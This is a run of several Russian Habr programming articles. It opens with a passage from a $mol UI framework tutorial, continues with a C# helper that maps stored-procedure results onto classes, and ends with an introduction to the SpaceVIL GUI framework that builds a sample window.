\* Hello from three!
$acme_habhub_gist $mol_text
```
```
[acme_habhub_gist] {
margin: 1rem;
}
```
*Супер!* Теперь вы убираете жёсткий код и оставляете лишь формулу создания карточки статьи по её номеру:
```
$acme_habhub $mol_page
title \HabHub
body <= Gists /
Gist!id $mol_text
text <= gist_content!id \
```
Пришло время загрузить данные. Вы создаёте файл `habhub.view.ts` и пишете несколько мантр, которые позволят вам переопределить поведение уже созданного компонента:
```
namespace $.$mol {
export class $acme_habhub extends $.$acme_habhub {
}
}
```
Прежде всего вы описываете формат в котором от сервера приходят статьи:
```
interface Gist {
id : number
title : string
body : string
}
```
Потом вы определяете свойство, которое будет возвращать ссылку, по которой следует забирать данные. В дальнейшем можно будет добавить в него логику по учёту пользовательских предпочтений, но пока оно будет возвращать константу:
```
uri_source() {
return 'https://api.github.com/search/issues?q=label:HabHub+is:open&sort=reactions'
}
```
А теперь вы задаёте свойство, которое будет возвращать собственно данные, делая запрос к серверу через модуль $mol\_http\_resource\_json, предназначенный для работы с json-rest ресурсами:
```
gists() {
return $mol_http.resource( this.uri_source() ).json().items as Gist[]
}
```
Далее вы формируете карточки для показа статей по числу этих статей через свойство `gister#`, которое вы объявили ещё во view.tree:
```
Gists() {
return this.gists().map( ( gist , index ) => this.Gist( index ) )
}
```
`gister#` обращаясь к `gist_content#` передаёт ему тот же ключ, что передан и ему, так что осталось лишь задать, как по номеру статьи сформировать её содержимое:
```
gist_content( index : number ) {
const gist = this.gists()[ index ]
return `#${ gist.title }\n${ gist.body }`
}
```
В результате у вас получается следующего вида презентатор:
```
namespace $.$mol {
interface Gist {
id : number
title : string
body : string
}
export class $acme_habhub extends $.$acme_habhub {
uri_source(){
return 'https://api.github.com/search/issues?q=label:HabHub+is:open&sort=reactions'
}
gists() {
return $mol_http.resource( this.uri_source() ).json().items as Gist[]
}
Gists() {
return this.gists().map( ( gist , index ) => this.Gist( index ) )
}
gist_content( index : number ) {
const gist = this.gists()[ index ]
return `#${ gist.title }\n${ gist.body }`
}
}
}
```
Код в целом тривиальный и в тестировании не нуждается: uriSource возвращает константу, правильность обращения gists к стороннему модулю проверит typescript компилятор, Gist тривиален и опять же проверяется компилятором, и только gist\_content содержит нетривиальное формирование строки, поэтому вы пишете на него тест в habhub.test.ts:
```
namespace $.$mol {
$mol_test({
'gist content is title + body'() {
const app = new $acme_habhub
app.gists = ()=> [
{
id : 1 ,
title : 'hello' ,
body : 'world' ,
}
]
$mol_assert_equal( app.gist_content( 0 ) , '# hello\nworld' )
}
})
}
```
Перезагрузив страницу, вы обнаруживаете в консоли:
*Ага, пробел потерялся.* Исправив код, вы перезагружаете страницу и видите сначала индикатор загрузки, а потом собственно статьи.
*Блеск!* Проверив, своё маленькое приложение на корректность, вы с чувством полного удовлетворения коммитите изменения и идёте в столовую праздновать столь быстрое завершение задачи, предполагающее неблокирующие запросы, визуализацию markdown и ленивый рендеринг...
Кое-что всё же омрачает вашу радость и вам приходится вернуться к отладчику — страница довольно долго открывается пытаясь отрендерить сразу все статьи.
Каждый $mol\_texter является наследником от $mol\_lister, который умеет лениво рендерить вертикальные списки, дорендеривая их по мере прокрутки. Поэтому при открытии страницы статьи рендерятся не целиком, а лишь некоторое число первых блоков. Чтобы и сами $mol\_texter исключались из рендеринга, когда точно не влезают в видимую область, достаточно их тоже засунуть в $mol\_lister:
```
$acme_habhub $mol_page
title \HabHub
body /
<= List $mol_list
rows <= Gists /
Gist!id $mol_text
text <= gist_content!id \
```
Ленивый рендеринг
-----------------
Работает ленивый рендеринг просто и железно. Любой компонент может предоставить информацию о своей минимальной высоте через свойство `minimal_height`. Например, `$mol_text_row` указывает минимальную высоту в 40 пикселей, меньше которых он занимать не сможет, независимо от содержимого, css правил и ширины родительского элемента. Компонент $mol\_scroll отслеживает позицию скроллинга и устанавливает свойство `$mol_view_visible_height` контекста рендеринга таким образом, чтобы гарантированно накрыть видимую область (позиция скроллинга плюс высота окна). Контекст автоматически передаётся всем отрендеренным внутри компонентам и доступен в них через `this.$.$mol_view_visible_height()`. Используя всю эту информацию, компонент $mol\_list рассчитывает сколько элементов списка нужно отрендерить, чтобы гарантированно накрыть видимую область. Так как все упомянутые свойства реактивны, то при изменении состава элементов, позиции скроллинга и размеров окна, происходит автоматический дорендеринг недостающих или удаление лишних элементов списка.
Именно за счёт ленивого рендеринга $mol и оказывается лидером в тестах производительности. Без него, производительность $mol была бы на уровне Angular. Кто-то может возразить, что это не честно. Однако, это не менее честно, чем Virtual DOM в React, позволяющий не делать то, что можно не делать. При этом ускорение в обоих случаях достаётся почти бесплатно, без километров хрупкой логики, описывающей когда и что нужно делать, а когда и что — не нужно.
Ленивый рендеринг позволяет быстро показывать пользователю экран, практически независимо от объёмов выводимых данных. Так как часть компонент не рендерится, то и данные для них не запрашиваются, что позволяет и грузить их лишь по мере надобности, ничего не меняя для этого в слое отображения. Единственный скользкий момент — если прокрутить страницу сразу в самый конец списка, то таки придётся подождать полного рендеринга всех элементов. Но это достаточно редкий случай в повседневном использовании, ведь благодаря фильтрам и сортировке, куда проще сделать так, чтобы нужные данные оказались наверху, чем вручную искать их огромном списке.
Исключительные ситуации
-----------------------
Всё бы хорошо, но после последних оптимизаций куда-то пропал индикатор загрузки. Вы открываете DOM-инспектор и видите там следующую картину:
Блок `$acme_habhub.root(0).list()` в который выводится список статей не смог отрендериться так как список статей ещё не загружен, поэтому для него автоматически был установлен атрибут `mol_view_error` с типом ошибки в качестве значения. Для типа ошибки `$mol_atom_wait` по умолчанию рисуются бегущие полоски. Но вот беда, в отсутствии содержимого этот блок схлопнулся до нулевой высоты, и поэтому не видно индикатора загрузки. Самое простое решение — задать для этого блока минимальную высоту:
```
[acme_habhub_list] {
min-height: 1rem;
}
```
*Но что если загрузка оборвётся или произойдёт её какая-либо ошибка?*
*Так дело не пойдёт! Надо сообщить пользователю что пошло не так.* Вы могли бы просто перехватить исключение в `Gists()` и нарисовать вместо списка статей сообщение об ошибке. Но это достаточно типовой код, который удобнее вынести в отдельный компонент, который бы принимал некоторое свойство, и если при его вычислении происходила бы ошибка — не просто падал, а показывал сообщение пользователю. Именно так и работает `$mol_status`:
```
$acme_habhub $mol_pager
title \HabHub
body /
<= Status $mol_status
status <= Gists /
<= List $mol_list
rows <= Gists /
Gist!id $mol_text
text <= gist_content!id \
```
Как можно заметить, особое внимание в $mol уделено толерантности к ошибкам. Если какой-то компонент упал, то только он и выйдет из строя, не ломая всё остальное, не зависящее от него, приложение. А если источник проблемы устранён, то и компонент следом возвращается к нормальной работе.
Так как код на $mol в подавляющем большинстве случаев синхронен, то и try-catch работает как полагается. *Но что если данные ещё не загружены и за ними нужно сходить на сервер?* Это самая натуральная исключительная ситуация для синхронного кода. Поэтому, модуль загрузки данных делает как полагается асинхронный запрос, но вместо немедленного возврата данных (которых ещё нет), кидает специальное исключение `$mol_atom_wait`, которое раскручивает стек до ближайшего реактивного свойства, которое его перехватывает и запоминает в себе. А когда данные придут, то это свойство будет вычислено повторно, но на этот раз вместо исключения, будут уже синхронно возвращены данные. Таким не хитрым способом достигается абстрагирование кода всего приложения от асинхронности отдельных операций, без необходимости выстраивать цепочки обещаний и превращения половины функций в "асинхронные" (async-await).
Тут же стоит отметить элегантную магию, доступную во всех современных браузерах благодаря [Proxy API](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy). В общем случае, при обращении к реактивному свойству, в котором сохранён объект исключения, это самое исключение бросается незамедлительно. Но если поддерживается Proxy API, то возвращается лишь прокси, который бросает исключение, при попытке взаимодействия с результатом. Это позволяет продолжить выполение кода, отложив "синхронизацию" до момента, когда возвращаемые данные реально понадобятся.
Например, вам нужно вывести приветственное сообщение, но само сообщение взять из конфига, а имя пользователя из его профиля. При первом вычислении свойства greeting, будет следующая картина:
```
@ $mol_mem()
greeting() {
const config = $mol_http.resource( './config.json' ).json()
// Запущен асинхронный запрос, а в config помещён Proxy
const profile = $mol_http.resource( './profile.json' ).json()
// Запущен асинхронный запрос, а в profile помещён Proxy
// В этот момент исполнение будет остановлено, а в свойство greeting будет помещено исключение $mol_atom_wait
const greeting = config.greeting.replace( '{name}' , profile.name )
// Сюда исполнение уже не дойдёт
return greeting
}
```
Не имеет значения в какой последовательности придут ответы от сервера, потому что код функции является идемпотентным, то есть допускающим множественные перезапуски. После получения каждого ответа, свойство будет перевычисляться и снова останавливаться на недостающих данных, пока все необходимые данные не будут загружены:
```
@ $mol_mem()
greeting() {
const config = $mol_http.resource( './config.json' ).json()
// В config помещён json, полученный с сервера
const profile = $mol_http.resource( './profile.json' ).json()
// В profile помещён json, полученный с сервера
const greeting = config.greeting.replace( '{name}' , profile.name )
// greeting будет вычислен на основе config и profile
// Наконец, дошли до конца и вернули актуальное значение
return greeting
}
```
Свистелки и блестелки
---------------------
Как можно было заметить, $mol содержит всё необходимое, чтобы просто взять и начать делать приложение. Не нужно ничего конфигурировать, а в комплекте идёт библиотека стандартных адаптивных компонент, содержащая как тривиальные компоненты типа $mol\_filler, который выводит небезызвестный "Lorem ipsum", так и комплексные компоненты, типа $mol\_grider, который предназначен для отображения огромных таблиц с плавающими заголовками.
При рендеринге DOM-элементу устанавливается атрибут с именем класса компонента, а также именами всех классов-предков. Это позволяет, например, задать для всех кнопок общие стили:
```
[mol_button] {
cursor: pointer;
}
```
А потом для какого-то конкретного типа кнопки перегрузить их:
```
$mol_button_major $mol_button
```
```
[mol_button_major] {
background: var(--mol_skin_accent);
color: var(--mol_skin_accent_text);
}
```
Кроме того, в соответствии с [методологией БЭМ](https://en.bem.info/methodology/naming-convention/) для всех вложенных компонент устанавливаются контекстно-зависимые атрибуты вида `my_signup_submit`, где `my_signup` — имя класса владельца, а `submit` — имя свойства, в которое объект сохранён:
```
$my_signup $mol_page
body /
<= Submit $mol_button_major
sub /
<= submit_label @ \Submit
```
```
[mol_signup_submit] {
font-size: 2em;
}
```
Такая логика работы позволяет избавить разработчика от необходимости вручную дописывать к каждому dom-элементу "css-классы" и поддерживать порядок в их именовании. В то же время, она даёт высокую гибкость при композиции компонент — всегда можно как-то по особенному стилизовать конкретный компонент в конкретном контексте его использования, без риска сломать что-то в других местах.
Так как один и тот же компонент может использоваться в совершенно разных местах, в совершенно разных приложениях, выполненных в совершенно разных дизайнах, то критически важно, чтобы компонент мог адекватно мимикрировать под общий дизайн приложения. Основным аспектом этой мимикрии являются цвета. Поэтому, как минимум стандартные компоненты, не содержат в себе никакой цветовой информации, вместо этого беря её из глобальных констант. В $mol эти константы сгруппированы в модуле $mol\_skin. Реализуя своё приложение, вы можете переопределить эти константы и все компоненты перекрасятся в соответствии с ними:
```
:root {
--mol_skin_base: #c85bad;
}
```
Если вам не хватит стандартных констант — вы всегда можете завести свои. Это позволит тем, кто будет использовать ваши компоненты, так же просто интегрировать их в свой дизайн, как и стандартные.
Экстренное торможение
=====================
$mol весьма прост и гибкок, однако, как и любой фреймворк, он имеет и некоторые жёсткие рамки, которые поощряют "хорошие" практики и препятствуют "плохим". Что такое "хорошо", а что такое "плохо", зависит от целей. И для $mol они ставились такие:
* **Создание быстрых приложений.** С быстрым приложением работать — одно удовольствие. Как конечному пользователю, так и изначальному разработчику.
* **Быстрое создание приложений.** Это даёт не только удешевление производства, но и больше времени на другие этапы: от согласования, до внедрения.
* **Создание кроссплатформенных приложений.** Веб платформа как ничто лучше подходит для этих целей.
* **Долгосрочная поддержка созданных приложений.** Она не должна превращаться в снежный ком из костылей и заплаток.
* **Минимизация багов в созданных приложениях.** Они и по репутации больно бьют, и внедрение затягивают.
* **Создание компактных приложений.** Чем меньше кода, тем быстрее он стартует, тем меньше в нём багов, тем быстрее его писать.
* **Создание межпроектной кодовой базы.** Это и профессионала ускоряет, и новичку позволяет быстрее влиться в процесс.
* **Расспараллеливание разработки приложений.** Горизонтальная и вертикальная декомпозиция, позволяют большему числу людей работать над одним приложением используя наработоки друг друга, что приводит к ускорению поставки новых версий.
По итогу, на текущий момент можно выделить следующие свойства $mol, которые в других фреймворках либо не встречаются вообще, либо встречаются, но в несколько куцем виде:
* **Минимум конфигурирования** — только несколько простых соглашений и максимальная автоматизация.
* **Микромодульность** — приложение собирается из множества маленьких модулей. Нет строго выделенного ядра.
* **Автоматические зависимости между модулями** — детектирование зависимости по факту использования и автоматическое включение зависимостей в пакет при сборке.
* **Многоязычные модули** — нет какого-то выделенного языка, все языки равноправны при поиске зависимостей и сборке пакета.
* **Статическая типизация** — по возможности используется TypeScript для исходников и промежуточных файлов.
* **Множество приложений и библиотек в одной кодовой базе** — сборка любого модуля как независимого пакета для деплоя куда бы то ни было.
* **Полная реактивность** — автоматическое обнаружение и эффективная актуализация зависимостей между состояниями.
* **Синхронный код, но неблокирующие запросы** — в том числе и параллельные запросы, когда это возможно.
* **Полная ленивость** — ленивая отрисовка, ленивая инициализация свойств, ленивая загрузка данных, ленивая сборка.
* **Контроль жизненного цикла объектов** — автоматическое уничтожение при утрате зависимостей от него.
* **Высокая компонуемость** — легко соединять даже те компоненты, которые написаны без оглядки на настраиваемость.
* **Толерантность к ошибкам** — исключительные ситуации не приводят к нестабильной работе приложения.
* **Кроссплатформенность** — модуль может содержать разные версии кода под разные окружения и для разных окружений собираются отдельные пакеты.
* **Ориентация на исследование рантайма** — везде есть "хлебные крошки" помогающие найти концы.
* **Человекопонятные идентификаторы объектов** — генерируются автоматически на основании имён свойств, которые ими владеют.
* **Логирование изменения всех состояний** — поддерживается фильтрация по содержимому идентификатора.
* **Пространства имён вместо изоляции** — простой доступ из консоли к любому состоянию, пространства имён соответствуют расположению модулей в файловой системе.
* **Автогенерация BEM-атрибутов** — не нужно вручную прописывать классы, имена в CSS гарантированно соответствуют именам в JS/TS/view.tree, поддерживается наследование.
На этом наша история… не заканчивается. Возможно именно вы станете соавтором её продолжения, привнесёте с собой свежих идей, а может даже и сочных запросов на слияние. На этом распутье у вас есть несколько дорог:
* Налево пойдёшь — карму автору сольёшь, чтобы не пиарил тут свои велосипеды: [Хабрацентр им. vintage](https://habrahabr.ru/users/vintage/)
* Направо пойдёшь — изучишь документацию и попробуешь что-нибудь сваять: [eigenmethod/mol: Fast reactive micromodular ui framework](https://github.com/eigenmethod/mol)
* Прямо пойдёшь — обнаружишь ошибку, фатальный недостаток или отсутствие улучшения, и тут же спросишь с ответчика по всей строгости: [Issues · eigenmethod/mol](https://github.com/eigenmethod/mol/issues)
* Назад пойдёшь — вернёшься в пучину неоправданной сложности: [Каково оно учить JavaScript в 2016](https://habrahabr.ru/post/312022/), [Идеальный UI фреймворк](https://habrahabr.ru/post/276747/)
* Никуда не пойдёшь — примешь участите в дискуссии в комментариях к этой статье :-)
**UPD: Имена и явки с момента написания статьи изменились, так что приведённые примеры кода хоть и обновлены, но могут не соответствовать текущему положению дел, а скриншоты — точно не актуальны.** | https://habr.com/ru/post/311172/ | null | ru | null |
# ORM или простое наполнение класса данными из хранимой процедуры
Привет всем хабраюзерам, решил написать первую свою статью, которая, продолжает серию [очерков](http://habrahabr.ru/blogs/net/48820) про взаимодействие с БД. Так случилось что подвернулся небольшой вэб-проект для реализации. В качестве платформы был выбран ASP.NET MVC + ExtJS но вот решение для ORM сходу не нашлось. Проблема заключалась в том что привлекать большое промышленное ORM решение типа NHibernate или Entity Framework не хотелось, так как проект будет иметь от силы два-три десятка хранимых процедур. Одновременно с этим использовать обвертку от Microsoft DAAB тоже не получается, т.к. в MVC фреймворке модели являются по сути копиями таблиц БД (ну просто для упрощения будем так считать) в результате Reader-ы, DataSet-ы и DataTable-ы нам мало чем могут помочь. Возможно хорошим решением было бы использовать LinqToSql, но мне очень не нравиться когда запросы написаны не на SQL а на C#, я твердо убеждён что общение между приложением и БД должно происходить только посредством хранимых процедур и функций. Другими словами нам нужен маппинг класа на result set хранимой процедуры и простота его использования, что бы просто вызвать хелпер-метод и он, используя рефлексию, вернул коллекцию экземпляров наполненными данными из процедуры. Думаю суть проблемы я изложил достаточно понятно итак приступим к реализации.
Для начала объявим наш класс который будем наполнять данными, само собой, что он будет полностью копировать поля которые возвращает хранимая процедура:
> `public class Book
>
> {
>
> public int ID { get; set; }
>
> public string Title { get; set; }
>
> public string Author { get; set; }
>
> public DateTime PublicationDate { get; set; }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А вот и хелпер-метод для маппинга:
> `public static List GetSpResultset(string spName)
>
> {
>
> List list = new List();
>
> SqlConnection connection = new SqlConnection("строка соединения");
>
>
>
> connection.Open();
>
>
>
> using (SqlCommand command = new SqlCommand(spName, connection))
>
> {
>
> command.CommandType = CommandType.StoredProcedure;
>
> using (IDataReader reader = command.ExecuteReader(CommandBehavior.CloseConnection))
>
> {
>
> PropertyInfo[] fields = typeof(T).GetProperties();
>
> while (reader.Read())
>
> {
>
> T record = Activator.CreateInstance();
>
> foreach (PropertyInfo pi in fields)
>
> {
>
> if (pi.PropertyType.Name == typeof(Int32).Name)
>
> {
>
> if (pi.CanWrite)
>
> {
>
> int value = reader.GetInt32(reader.GetOrdinal(pi.Name));
>
> pi.SetValue(record, value, null);
>
> }
>
> }
>
> else if (pi.PropertyType.Name == typeof(Int16).Name)
>
> {
>
> if (pi.CanWrite)
>
> {
>
> short value = Convert.ToInt16(reader.GetValue(reader.GetOrdinal(pi.Name)));
>
> pi.SetValue(record, value, null);
>
> }
>
> }
>
> else if (pi.PropertyType.Name == typeof(String).Name)
>
> {
>
> if (pi.CanWrite)
>
> {
>
> string value = reader.GetString(reader.GetOrdinal(pi.Name));
>
> pi.SetValue(record, value, null);
>
> }
>
> }
>
> else if (pi.PropertyType.Name == typeof(DateTime).Name)
>
> {
>
> if (pi.CanWrite)
>
> {
>
> DateTime value = reader.GetDateTime(reader.GetOrdinal(pi.Name));
>
> pi.SetValue(record, value, null);
>
> }
>
> }
>
> }
>
> list.Add(record);
>
> }
>
> }
>
> }
>
> return list;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Метод реализован как [generic method](http://msdn.microsoft.com/en-us/library/twcad0zb(VS.80).aspx) который возвращает коллекцию System.Collections.Generic.List наполненную экземплярами нашего класса, для простоты реализации в нем опущена передача параметров в процедуру и реализована работа всего с 4 типами данных Int32, Int16, String и DateTime, но вы с легкость сможете его расширить и дополнить функционально.
Ну и конечно же пример использования:
> `List books = GetSpResultset("sp\_GetBooks");
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ну вот собственно и все что я хотел рассказать в своей статье, с нетерпением жду замечаний и конструктивной критики. | https://habr.com/ru/post/51404/ | null | ru | null |
# SpaceVIL — кроссплатфоремнный GUI фреймворк для разработки на .Net Core, .Net Standard и JVM
В данной статье я постараюсь рассказать о фреймворке SpaceVIL (Space of Visual Items Layout), который служит для построения пользовательских графических интерфейсов на платформах .Net / .Net Core и JVM.
SpaceVIL является кроссплатформенным и мультиязычным фреймворком, в его основе лежит графическая технология OpenGL, а за создание окон отвечает библиотека GLFW. Используя данный фреймворк, вы можете работать и создавать графические клиентские приложения в операционных системах Linux, Mac OS X, Windows. Для программистов C# в данное время это особенно актуально, учитывая, что Microsoft не собирается переносить WPF на другие ОС и Avalonia является единственным возможным аналогом. Особенностью же SpaceVIL в этом конкретном случае является мультиязычность, то есть на данный момент фреймворк под .Net Core можно использовать в связке со следующими языками программирования: C#, VisualBasic. Фреймворк под JVM можно использовать в связке с языками Java и Scala. То есть, SpaceVIL можно использовать с любым из этих языков и итоговый код будет выглядеть одинаково, поэтому при переходе на другой язык переучиваться заново не придется.
SpaceVIL пока находится на стадии альфы, но, несмотря на это, фреймворк можно полноценно использовать уже сейчас, так как во фреймворке есть все необходимое для построения как сложного UI, так и для создания совершенно новых визуальных пользовательских элементов. Цель данной статьи как раз в том, чтобы убедить вас в этом.
SpaceVIL разрабатывался с нуля и именно поэтому во фреймворке заложены свои собственные принципы, отличающие его от аналогов.
* У пользователя SpaceVIL полный контроль над происходящим.
* Любое приложение, написанное на SpaceVIL, будет выглядеть абсолютно одинаково на всех платформах. Нет никаких подводных камней. Можно использовать любую версию SpaceVIL (.Net / JVM, Mаc OS X, Linux, Windows), результат и внешний вид всегда будет один и тот же.
* SpaceVIL версии для JVM идентичен по использованию SpaceVIL версии для .Net
* SpaceVIL предоставляет возможности для глубокой кастомизации элемента, так как все интерактивные объекты являются контейнерами для других интерактивных объектов.
* Фреймворк очень гибок и прост в использовании, так как базовых строгих правил в нем немного, а единственное, что нужно понимать перед началом работы с ним – это что означают параметры Padding, Margin, Alignment (а их знает любой, кто создавал простенькие интерфейсы, например, в WPF, Android Studio или писал стили в CSS).
* SpaceVIL не потребует от вас какого-либо глубокого изучения его внутренностей и он будет выполнять именно то, что вы напишите. Все элементы подчиняются общим правилам, один подход будет работать на всех элементах. Запомнив основу, можно будет предугадывать как состав элементов, так и способы его стайлинга.
* Фреймворк очень легковесный, меньше мегабайта и все в одном файле.
Возможности
-----------
Теперь посмотрим, на что способен фреймворк текущей версии.
* Для использования доступно 54 элемента, из которых 10 – это специализированные контейнеры, 6 примитивов (не интерактивных элементов) и 38 интерактивных элементов различного назначения.
* На основе всех этих элементов, вкупе с реализацией специальных интерфейсов, можно создавать свои собственные элементы любой сложности.
* Присутствует стайлинг элементов, доступны возможности по созданию целых тем стилей или изменение/замена стиля любого стандартного элемента во фреймворке. Пока в SpaceVIL присутствует только одна тема и она установлена по умолчанию.
* Присутствует система состояний. Каждому элементу можно назначить визуальное состояние на один из способов внешнего воздействия: наведение курсора на элемент, нажатие кнопки мыши, отпускание кнопки мыши, переключение, фокусировка и выключение элемента.
* Присутствует фильтрация событий. Каждый элемент при взаимодействии может отфильтровывать проходящие сквозь него события, что позволяет одним событиям проходить сквозь элемент, а другим отбрасываться. В примере расскажу об этом подробнее.
* Реализована система плавающих независимых элементов.
* Реализована система диалоговых окон и диалоговых элементов.
* Реализован независимый рендеринг. Каждое окно имеет два потока – один управляет рендерингом, другой выполнением задач от приходящих событий, то есть окно теперь всегда продолжает рендеринг (и не "висит"), независимо от задачи, которая была запущена после нажатия какой-нибудь кнопки.
Структура
---------
Теперь давайте рассмотрим структуру элементов. Во фреймворке присутствуют следующие типы элементов: окна, как активные так и диалоговые, контейнеры, для удобного позиционирования элементов, интерактивные элементы и примитивы. Давайте пройдемся кратко по всему вышеперечисленному. Надеюсь, что такое окна объяснять не надо, отмечу лишь, что диалоговое окно блокирует вызвавшее его окно до его закрытия.
#### Контейнеры
В SpaceVIL представлены следующие типы контейнеров:
* Общий контейнер (элементы внутри такого контейнера позиционируются за счет параметров alignment, padding, margin, size и size policy).
* Вертикальный и горизонтальный стеки (элементы, добавленные в такой контейнер, будут располагаться по порядку без необходимости точной настройки параметров, которая нужна при использовании предыдущего типа контейнера).
* Сетка (Grid) – элементы добавляются в ячейки сетки и позиционируются внутри своей ячейки.
* Список (ListBox, TreeView), контейнер на основе вертикального стека, но с возможностью прокрутки для отображения элементов, которые не вместились в контейнер.
* Разделитель (SplitArea), контейнер может быть двух типов – вертикальный и горизонтальный, разделяет две области и интерактивно управляет размерами этих областей.
* Контейнер со вкладками (TabView), управляет видимостью страниц.
* WrapGrid, позиционирует элементы внутри ячеек определенного размера, заполняет все свободное пространство согласно ориентации с возможностью прокрутки (самый яркий пример – проводник в Windows в режиме отображения иконок).
* И, наконец, свободный контейнер, наверное самый редкий контейнер из названных, представляет собой бесконечную область, на которую можно добавлять любые элементы фиксированного размера, но лучше использовать в сочетании с элементом типа ResizableItem.
#### Интерактивные элементы
Элементы такого типа принимают множество состояний и имеют различные события. Если проще то, все с чем можно взаимодействовать и есть интерактивные элементы, например: кнопка, чекбокс, элемент для ввод текста и прочие.
#### Примитивы
В противовес интерактивным элементам существуют примитивы, совершенно не интерактивные элементы, с ними невозможно контактировать, они существуют просто для того, чтобы показать себя. Типы примитивов: треугольник, прямоугольник, эллипс и чуть посложнее — произвольная фигура, которая может принять облик любой сложности.
Так же присутствуют статические классы-сервисы. Некоторые из таких классов позволяют программисту получать и настраивать элементы по своему вкусу. Например, есть класс управляющий стилями элементов, и класс, с помощью которого можно устанавливать произвольную форму отображения интерактивному элементу, класс дефолтных установок и так далее.
Пример простого приложения с использованием фреймворка SpaceVIL
---------------------------------------------------------------
У меня небольшой пунктик насчет примеров. Всегда можно придумать абстрактный и точно отображающий функционал пример, но если читать его со стороны, то он всегда выглядит очень неубедительно, поэтому в качестве примеров я стараюсь делать маленькие, но готовые приложения, которые служат какой-то вразумительной цели.
Давайте перейдем к описанию приложения. Программа представляет собой редактор карточек героев для игр типа «Подземелья и Драконы» и имеет название CharacterEditor. Программа случайным образом генерирует указанное количество различных персонажей с именами, возрастом, расой, полом, классом и характеристиками. Пользователю предоставляется возможность написать биографию и дать персонажу специализированные навыки. В итоге можно сохранить карточку героя в виде текстового файла. Давайте приступим непосредственно к разбору кода. Программа написана на C#. При использовании Java, код будет по сути таким же.
В итоге у нас получится такое вот приложение:
#### Создание окна приложения
На этом этапе мы создадим окно. Напомню, что SpaceVIL использует GLFW, поэтому, если вы пишите приложение для платформы .Net, то скомпилированную библиотеку GLFW необходимо скопировать рядом с исполняемым файлом. В JVM используется враппер библиотеки GLFW (LWJGL), который в своем составе уже имеет скомпилированную GLFW.
Далее, наполним область рендеринга необходимыми элементами и придадим им приятный внешний вид. Основные этапы для достижения этого следующие:
* Инициализация SpaceVIL перед его использованием. В функции Main достаточно написать:
```
if (!SpaceVIL.Common.CommonService.InitSpaceVILComponents())
return;
```
* Теперь создадим окно. Чтобы это сделать нужно написать класс окна, унаследовав его от класса `SpaceVIL.ActiveWindow`, описать метод `InitWindow()` и задать ему несколько базовых параметров, таких как название окна, текст титульной панели и размеры. В итоге получим код, который выглядит так:
```
using System; using SpaceVIL;
namespace CharacterEditor
{
internal class MainWindow : ActiveWindow
{
public override void InitWindow()
{
SetParameters("CharacterEditor", "CharacterEditor", 1000, 600);
}
}
}
```
* Осталось только создать экземпляр этого класса и вызвать его. Для этого дополним метод Main следующими строчками кода:
```
MainWindow mw = new MainWindow();
mw.Show();
```
Все, на этом этапе можно запустить приложение и проверить все ли работает.
#### Наполнение элементами
Для реализации приложения CharacterEditor я решил поместить на окно титульную панель, панель с инструментами и вертикальный разделитель. На панели инструментов будут располагаться: кнопка обновления списка сгенерированных заново персонажей, кнопка сохранения персонажа и элемент с количеством генерируемых персонажей. В левой части вертикального разделителя будет находится список сгенерированных персонажей, а в правой текстовая область для редактирования выбранного из списка персонажа. Чтобы не захламлять класс окна настройками элементов, можно написать статический класс, который предоставит нам готовые по внешнему виду и настройкам элементы. При добавлении важно помнить, что каждый интерактивный элемент, будь то кнопка или список является контейнером, то есть в кнопку можно поместить все что угодно, от примитивов, до другого контейнера и любой сложный элемент это всего лишь набор более простых элементов, которые в сумме служат одной цели. Зная это, необходимо запомнить первое строгое правило — прежде чем добавлять в элемент другие элементы, его самого нужно добавить куда нибудь, либо в сам класс окна (в нашем случае это `MainWindow`), либо в контейнер или любой другой интерактивный элемент. Давайте поясню на примере:
```
public override void InitWindow()
{
SetParameters("CharacterEditor", "CharacterEditor", 1000, 600);
//создадим простейший контейнер
Frame frame = new Frame();
//создадим кнопку, которую будем добавлять в контейнер frame
ButtonCore btn = new ButtonCore("Button");
//следующий код нарушает вышеописанное правило,
//что приведет к рантайм исключению при запуске.
//Контейнер frame еще никуда не добавлен и,
//следовательно, не проинициализирован системой.
frame.AddItem(btn);
//добавим контейнер frame в наше окно
AddItem(frame);
}
```
Правильно же будет сначала добавить `frame` в окно, а потом уже во `frame` добавить кнопку. Может показаться, что правило очень неудобное и при создании сложного окна придется попотеть, именно поэтому SpaceVIL поощряет создавать свои собственные элементы, которые сильно упрощают добавление элементов. Создание собственных элементов покажу и объясню чуть позже. Давайте вернемся к приложению. Вот такое окно получилось в итоге:
Теперь разберем код:
**Итоговый код разметки MainWindow**
```
internal ListBox ItemList = new ListBox(); //контейнер типа список для персонажей
internal TextArea ItemText = new TextArea(); //область для текстового редактирования персонажа
internal ButtonCore BtnGenerate; //кнопка генерации персонажей
internal ButtonCore BtnSave; //кнопка сохранения выбранного персонажа
internal SpinItem NumberCount; //элемент количества генерируемых персонажей
public override void InitWindow()
{
SetParameters("CharacterEditor", "CharacterEditor", 1000, 600);
IsBorderHidden = true; //этот параметр скрывает нативную титульную панель
IsCentered = true; //наше окно будет появляться в центре экрана
//титульная панель
TitleBar title = new TitleBar(nameof(CharacterEditor));
//установим иконку для титульной панели
title.SetIcon( DefaultsService.GetDefaultImage(EmbeddedImage.User,
EmbeddedImageSize.Size32x32), 20, 20);
//основной контейнер, в который мы поместим все остальное
VerticalStack layout = ItemFactory.GetStandardLayout(title.GetHeight());
//панель инструментов
HorizontalStack toolbar = ItemFactory.GetToolbar();
//вертикальный разделитель
VerticalSplitArea splitArea = ItemFactory.GetSplitArea();
//кнопка генерации
BtnGenerate = ItemFactory.GetToolbarButton();
//кнопка сохранения
BtnSave = ItemFactory.GetToolbarButton();
//элемент количества генерируемых персонажей
NumberCount = ItemFactory.GetSpinItem();
//устанавливаем стиль текстовому полю
ItemText.SetStyle(StyleFactory.GetTextAreaStyle());
//добавление элементов согласно строгому правилу
AddItems(title, layout);
layout.AddItems(toolbar, splitArea);
toolbar.AddItems(BtnGenerate, BtnSave, ItemFactory.GetVerticalDivider(), NumberCount);
splitArea.AssignLeftItem(ItemList);
splitArea.AssignRightItem(ItemText);
//добавим картинки на кнопки
BtnGenerate.AddItem(ItemFactory.GetToolbarIcon(
DefaultsService.GetDefaultImage(EmbeddedImage.Refresh,
EmbeddedImageSize.Size32x32)));
BtnSave.AddItem(ItemFactory.GetToolbarIcon(
DefaultsService.GetDefaultImage(EmbeddedImage.Diskette,
EmbeddedImageSize.Size32x32)));
}
```
